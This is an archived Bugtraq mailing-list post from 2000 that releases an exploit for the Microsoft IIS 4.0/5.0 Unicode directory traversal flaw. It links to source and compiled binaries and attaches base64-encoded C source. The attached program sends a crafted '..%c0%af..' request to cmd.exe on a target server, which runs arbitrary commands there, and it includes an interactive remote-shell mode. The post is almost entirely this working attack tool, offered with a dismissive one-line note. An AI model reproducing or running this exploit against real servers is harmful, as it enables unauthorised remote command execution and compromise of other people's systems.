[17263] in bugtraq
IIS 4.0/5.0 UNICODE exploit
daemon@ATHENA.MIT.EDU (optyx)
Thu Oct 19 03:29:16 2000
MIME-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="0-160005203-971936483=:29352"
Message-ID: <Pine.BSO.4.21.0010182318300.29352-200000@pr0n.newhackcity.net>
Date: Wed, 18 Oct 2000 23:21:23 -0700
Reply-To: optyx <optyx@NEWHACKCITY.NET>
From: optyx <optyx@NEWHACKCITY.NET>
To: BUGTRAQ@SECURITYFOCUS.COM
This message is in MIME format. The first part should be readable text,
while the remaining parts are likely unreadable without MIME-aware tools.
Send mail to mime@docserver.cac.washington.edu for more info.
--0-160005203-971936483=:29352
Content-Type: TEXT/PLAIN; charset=US-ASCII
http://www.newhackcity.net/~optyx/iis-zang.c
http://www.newhackcity.net/~optyx/iis-zang.exe
http://www.newhackcity.net/~optyx/iis-zang.obsd
http://www.newhackcity.net/~optyx/iis-zang.linux
lame exploit, time on my hands, *shrug*
-Optyx
--0-160005203-971936483=:29352
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="iis-zang.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.BSO.4.21.0010182321230.29352@pr0n.newhackcity.net>
Content-Description:
Content-Disposition: attachment; filename="iis-zang.c"
LyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKipcDQoqKiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgKioNCioqICAgIE1pY3Jvc29mdCBJSVMg
NC4wLzUuMCBFeHRlbmRlZCBVTklDT0RFIERpcmVjdG9yeSBUcmF2ZXJzYWwg
RXhwbG9pdCAgICAqKg0KKiogICAgICBwcm9vZiBvZiB0aGVvcnkgZXhwbG9p
dCBjdXogaXQncyB3ZWRuZXNkYXkgYW5kIGknbSBvbiB0aGUgY291Y2ggICAg
ICoqDQoqKiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKioNCioqICAg
ICAgIGJyb3VnaHQgdG8geW91IGJ5IHRoZSBsZXR0ZXIgQiwgdGhlIG51bWJl
ciA3LCBvcHR5eCwgYW5kIHQxMiAgICAgICAqKg0KKiogICAgICAgICAgb3B0
eXggLSA8b3B0eXhAdWJlcmhheDByLm5ldCBvcHR5eEBuZXdoYWNrY2l0eS5u
ZXQ+ICAgICAgICAgICAgICoqDQoqKiAgICAgICAgICB0MTIgLSA8dDEyQHVi
ZXJoYXgwci5uZXQ+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgKioNCioqICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqKg0K
KiogICAgIGdyZWV0eiBnbyBvdXQgdG8gYWVtcGlyZWksIGEgZ3VuIHRvYXRp
bicgZ2FuZ3N0YWgnIGh1c3RsZXInIHBsYXllciAgICoqDQoqKiAgICAgbW90
aGVyZnVja2VyIHdobyBpc24ndCB3aXRoIHVzIGFueW1vcmUsIG1pYWgsIHdo
bydzIEdUQTIgZ2FtZSB3YXMgICAgKioNCioqICAgICB3YXMgbW9zdCBlbnRl
cnRhaW5pbmcgdG9uaWdodCwgQ2F0aHksIHdobyBwcm92aWRlZCB0aGUgdHJp
cHB5IGxpZ2h0ICAqKg0KKiogICAgIHRvIHN0YXJlIGF0LCBhbmQgdG8gS1Qs
IGZvciBwcm92aWRpbmcgbWUgd2l0aCBob3VycyBvZiBkZWNlbnQgICAgICAg
ICoqDQoqKiAgICAgY29udmVyc2F0aW9uLiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKioNCioqICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAqKg0KXCoqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKiovDQoNCiNpbmNsdWRlIDxzdGRpby5oPg0KI2lu
Y2x1ZGUgPG5ldGRiLmg+DQojaW5jbHVkZSA8c3RkbGliLmg+DQojaW5jbHVk
ZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1
ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNp
bmNsdWRlIDxhcnBhL2luZXQuaD4NCiNpbmNsdWRlIDxzaWduYWwuaD4NCiNp
bmNsdWRlIDxlcnJuby5oPg0KI2luY2x1ZGUgPGZjbnRsLmg+DQoNCnZvaWQg
dXNhZ2Uodm9pZCkgDQp7DQogZnByaW50ZihzdGRlcnIsICJ1c2FnZTogLi9p
aXMtemFuayA8LXQgdGFyZ2V0PiA8LWMgJ2NvbW1hbmQnIG9yIC1pPiIpOyAN
CiBmcHJpbnRmKHN0ZGVyciwgIiBbLXAgcG9ydF0gWy10IHRpbWVvdXRdXG4i
KTsgDQogZXhpdCgtMSk7DQp9DQoNCmludCBtYWluKGludCBhcmdjLCBjaGFy
ICoqYXJndikgDQp7DQogaW50IGksIGo7DQogaW50IHBvcnQ9ODA7DQogaW50
IHRpbWVvdXQ9MzsNCiBpbnQgaW50ZXJhY3RpdmU9MDsNCiBjaGFyIHRlbXBb
MV07DQogY2hhciBob3N0WzUxMl09IiI7IA0KIGNoYXIgY21kWzEwMjRdPSIi
Ow0KIGNoYXIgcmVxdWVzdFs4MTkyXT0iR0VUIC9zY3JpcHRzLy4uJWMwJWFm
Li4vd2lubnQvc3lzdGVtMzIvY21kLmV4ZT8vYysiOw0KIHN0cnVjdCBob3N0
ZW50ICpoZTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gc19hZGRyOw0KDQogcHJp
bnRmKCJpaXMtemFua19icmVhZF9jaGFmZXJfODAwMF9zdXBlcl9hbHBoYV9o
eXBlcl9waWNrbGUuY1xuIik7DQogcHJpbnRmKCJieSBvcHR5eCBhbmQgdDEy
XG4iKTsNCg0KIGZvcihpPTA7aTxhcmdjO2krKykgDQoJeyBpZihhcmd2W2ld
WzBdID09ICctJykgew0KCQkgZm9yKGo9MTtqPHN0cmxlbihhcmd2W2ldKTtq
KyspIA0KCQkgCXsNCgkJCSBzd2l0Y2goYXJndltpXVtqXSkgDQoJCQkgCXsN
CgkJCQkgY2FzZSAndCc6DQoJCQkJIAlzdHJuY3B5KGhvc3QsIGFyZ3ZbaSsx
XSwgc2l6ZW9mKGhvc3QpKTsNCgkJCQkgCWJyZWFrOw0KCQkJCSBjYXNlICdj
JzoNCgkJCQkgCXN0cm5jcHkoY21kLCBhcmd2W2krMV0sIHNpemVvZihjbWQp
KTsNCgkJCQkgCWJyZWFrOw0KCQkJCSBjYXNlICdoJzoNCgkJCQkgCXVzYWdl
KCk7DQoJCQkgCSAJYnJlYWs7DQoJCQkJIGNhc2UgJ28nOg0KCQkJCQl0aW1l
b3V0PWF0b2koYXJndltpKzFdKTsgDQoJCQkJIAlicmVhazsNCgkJCQkgY2Fz
ZSAncCc6DQoJCQkJIAlwb3J0PWF0b2koYXJndltpKzFdKTsNCgkJCQkgCWJy
ZWFrOw0KCQkJCSBjYXNlICdpJzoNCgkJCQkgCWludGVyYWN0aXZlPTE7DQoJ
CQkJIAlicmVhazsNCgkJCQkgZGVmYXVsdDoNCgkJCQkgYnJlYWs7DQoJCQkJ
fQ0KCQkJfQ0KCQl9DQoJfQ0KDQogaWYoIXN0cmNtcChob3N0LCAiIikpIA0K
CXsNCgkgZnByaW50ZihzdGRlcnIsICJzcGVjaWZ5IHRhcmdldCBob3N0XG4i
KTsNCgkgdXNhZ2UoKTsNCgl9DQoNCiBpZighc3RyY21wKGNtZCwgIiIpICYm
ICFpbnRlcmFjdGl2ZSkgDQoJew0KCSBmcHJpbnRmKHN0ZGVyciwgInNwZWNp
ZnkgY29tbWFuZCB0byBleGVjdXRlXG4iKTsNCgkgdXNhZ2UoKTsNCgl9DQoN
CiBwcmludGYoIl0tIFRhcmdldCAtICVzOiVkXG4iLCBob3N0LCBwb3J0KTsN
CiBpZighaW50ZXJhY3RpdmUpDQogCSBwcmludGYoIl0tIENvbW1hbmQgLSAl
c1xuIiwgY21kKTsNCiBwcmludGYoIl0tIFRpbWVvdXQgLSAlZCBzZWNvbmRz
XG4iLCB0aW1lb3V0KTsNCiBpZigoaGU9Z2V0aG9zdGJ5bmFtZShob3N0KSkg
PT0gTlVMTCkgDQoJew0KIAkgZnByaW50ZihzdGRlcnIsICJpbnZhbGlkIHRh
cmdldFxuIik7DQoJIHVzYWdlKCk7DQoJfQ0KDQogZG8NCiAJew0KDQoJIGlm
KGludGVyYWN0aXZlKQ0KCSAJIHsNCgkJICBjbWRbMF09MDsNCgkJICBwcmlu
dGYoIlxuQz4gIik7DQoJCSAgaWYoZmdldHMoY21kLCBzaXplb2YoY21kKSwg
c3RkaW4pID09IE5VTEwpDQoJCSAgCSAgZnByaW50ZihzdGRlcnIsICJnZXRz
KCkgZXJyb3JcbiIpOyANCgkJICBjbWRbc3RybGVuKGNtZCktMV09J1wwJzsN
CgkJICBpZighc3RyY21wKCJleGl0IiwgY21kKSkNCgkJICAJICBleGl0KC0x
KTsNCgkJIH0NCg0KIAkgZm9yKGk9MDtpPHN0cmxlbihjbWQpO2krKykgDQoJ
CSB7DQoJIAkgIGlmKGNtZFtpXT09JyAnKQ0KCQkgIAljbWRbaV09JysnOw0K
CQkgfQ0KDQoJIHN0cm5jcHkocmVxdWVzdCwgDQoJCSAgICJHRVQgL3Njcmlw
dHMvLi4lYzAlYWYuLi93aW5udC9zeXN0ZW0zMi9jbWQuZXhlPy9jKyIsDQoJ
CSAgIHNpemVvZihyZXF1ZXN0KSk7DQogCSBzdHJuY2F0KHJlcXVlc3QsIGNt
ZCwgc2l6ZW9mKHJlcXVlc3QpIC0gc3RybGVuKHJlcXVlc3QpKTsJDQogCSBz
dHJuY2F0KHJlcXVlc3QsICJcbiIsIHNpemVvZihyZXF1ZXN0KSAtIHN0cmxl
bihyZXF1ZXN0KSk7DQoNCiAJIHNfYWRkci5zaW5fZmFtaWx5ID0gUEZfSU5F
VDsNCiAJIHNfYWRkci5zaW5fcG9ydCA9IGh0b25zKHBvcnQpOw0KIAkgbWVt
Y3B5KChjaGFyICopICZzX2FkZHIuc2luX2FkZHIsIChjaGFyICopIGhlLT5o
X2FkZHIsIA0KIAkJc2l6ZW9mKHNfYWRkci5zaW5fYWRkcikpOwkNCg0KIAkg
aWYoKGk9c29ja2V0KFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBJUFBST1RPX1RD
UCkpID09IC0xKSANCgkJIHsNCgkgCSAgZnByaW50ZihzdGRlcnIsICJjYW5u
b3QgY3JlYXRlIHNvY2tldFxuIik7DQoJIAkgIGV4aXQoLTEpOw0KCQkgfQ0K
DQogCSBhbGFybSh0aW1lb3V0KTsNCiAJIGogPSBjb25uZWN0KGksIChzdHJ1
Y3Qgc29ja2FkZHIgKikgJnNfYWRkciwgc2l6ZW9mKHNfYWRkcikpOw0KIAkg
YWxhcm0oMCk7DQoNCiAJIGlmKGo9PS0xKSANCgkJIHsNCgkgCSAgZnByaW50
ZihzdGRlcnIsICJjYW5ub3QgY29ubmVjdCB0byAlc1xuIiwgaG9zdCk7DQoJ
IAkgIGV4aXQoLTEpOw0KCSAJICBjbG9zZShpKTsNCgkJIH0NCg0KCSBpZigh
aW50ZXJhY3RpdmUpDQogCSAJICBwcmludGYoIl0tIFNlbmRpbmcgcmVxdWVz
dDogJXNcbiIsIHJlcXVlc3QpOw0KDQogCSBzZW5kKGksIHJlcXVlc3QsIHN0
cmxlbihyZXF1ZXN0KSwgMCk7DQoNCgkgaWYoIWludGVyYWN0aXZlKQ0KIAkg
CSAgcHJpbnRmKCJdLSBHZXR0aW5nIHJlc3VsdHNcbiIpOw0KDQogCSB3aGls
ZShyZWN2KGksdGVtcCwxLCAwKT4wKSANCgkJIHsNCiAgICAgICAgIAkgIGFs
YXJtKHRpbWVvdXQpOw0KCSAJICBwcmludGYoIiVjIiwgdGVtcFswXSk7DQog
ICAgICAgICAJICBhbGFybSgwKTsNCgkJIH0JDQoNCiB9DQogd2hpbGUoaW50
ZXJhY3RpdmUpOw0KDQogIGNsb3NlKGkpOwkNCiAgcmV0dXJuIDA7DQp9DQo=
--0-160005203-971936483=:29352--
